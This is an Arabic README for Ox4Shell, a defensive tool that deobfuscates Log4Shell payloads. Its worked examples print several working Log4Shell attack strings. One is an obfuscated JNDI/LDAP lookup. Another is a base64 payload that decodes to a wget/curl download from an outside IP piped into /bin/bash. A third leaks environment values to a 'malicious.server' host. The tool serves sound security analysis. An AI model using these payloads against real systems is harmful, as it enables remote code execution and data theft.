
إزالة التعتيم عن حمولات Log4Shell بسهولة.


إزالة التعتيم عن حمولات Log4Shell بسهولة.
منذ إصدار ثغرة Log4Shell (CVE-2021-44228)، تم إنشاء العديد من الأدوات لتعتيم حمولات Log4Shell، مما جعل حياة مهندسي الأمن كابوسًا.
تهدف هذه الأداة إلى كشف المحتوى الحقيقي لحمولات Log4Shell المُعتمَة.
على سبيل المثال، تأمل الحمولة المُعتمَة التالية:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
بعد تشغيل Ox4Shell، ستتحول إلى شكل بديهي وقابل للقراءة:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
تساعد هذه الأداة أيضًا في تحديد وفك تشفير أوامر base64. على سبيل المثال، تأمل الحمولة المُعتمَة التالية:
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
بعد تشغيل Ox4Shell، تكشف الأداة نوايا المهاجم:
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
⚠️ نوصي بتشغيل Ox4Shell باستخدام ملف (-f) بدلاً من حمولة مضمنة (-p)، لأن بعض بيئات الصدفة ستقوم بإفلات الأحرف المهمة، وبالتالي ستنتج نتائج غير دقيقة.
لتشغيل الأداة ببساطة:
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The maximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
مكتبة Log4j لديها بعض وظائف البحث الفريدة التي تتيح للمستخدمين البحث عن متغيرات البيئة، ومعلومات وقت التشغيل حول عملية Java، وما إلى ذلك. تمنح هذه القدرة الجهات الخبيثة القدرة على التنقيب عن معلومات محددة يمكنها بشكل فريد تحديد الجهاز المخترق الذي استهدفوه.
يستخدم Ox4Shell ملف mock.json لإدراج قيم شائعة في بعض وظائف البحث، على سبيل المثال، إذا كانت الحمولة تحتوي على القيمة ${env:HOME}، فيمكننا استبدالها بقيمة محاكاة مخصصة.
المجموعة الافتراضية لبيانات المحاكاة المقدمة هي:
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
كمثال، يمكننا إزالة التعتيم عن الحمولة التالية باستخدام قدرة المحاكاة في Ox4Shell:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}
شفرة المصدر للمشروع مرخصة بموجب رخصة MIT، والتي يمكنك العثور عليها في ملف LICENSE.